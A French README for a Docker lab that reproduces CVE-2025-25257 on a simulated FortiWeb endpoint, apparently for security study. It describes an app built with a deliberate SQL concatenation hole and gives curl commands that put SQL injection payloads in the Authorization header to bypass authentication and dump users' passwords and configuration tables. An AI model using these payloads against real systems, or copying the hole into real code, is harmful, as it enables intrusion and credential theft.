
Reproductible laboratoire Docker pour CVE-2025-25257, démontrant un contournement d'injection SQL et une exfiltration de données via l'en-tête HTTP Authorization sur un point de terminaison FortiWeb simulé.
Architecture de l'Expérimentation (l'environnement simule les composants vulnérables de FortiWeb)
Endpoint vulnérable : /api/system/fabric/config
Vecteur d'injection : Header HTTP Authorization: Bearer
Mécanisme : Concaténation SQL directe (f-string Python)
Authentification : Aucune (bypass total)
Base de données : SQLite (pour démonstration)
cve-2025-25257
├── Dockerfile
├── docker-compose.yml
├── requirements.txt
├── app.py
├── init_db.py
├── payload.txt
└── README.md
Dockerfile : service http vulnérable volontairement / expose une API exploitable sans authentification
docker-compose.yml : orchestre un service vulnérable reproductible / expose l’API attaquable via http / isole l’environnement d’expérimentation
requirements.txt : assure un environnement stable et reproductible
app.py : implémente un endpoint pré-authentification / accepte une entrée utilisateur via Authorization/ concatène cette entrée dans une requête SQL / permet le bypass d’authentification et l’extraction de données
init_db.py : prépare un jeu de données exploitable / permet une démonstration claire du bypass d’authentification et de l’exfiltration de données
payload.txt fournit une preuve minimale, contrôlée et observable d’exécution de code
docker-compose build
docker-compose up -d
docker-compose ps
docker-compose logs -f
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer valid_token_001"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' OR '1'='1"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, username, password, role, email, NULL FROM users--"
curl -X POST http://localhost:8080/api/system/fabric/config
-H "Content-Type: application/json"
-H "Authorization: Bearer ' UNION SELECT id, key, value, description, '2025-01-01',NULL FROM system_config--"
docker-compose down
docker-compose down -v
docker rmi cve-2025-25257-lab-fortiweb-vulnerable:latest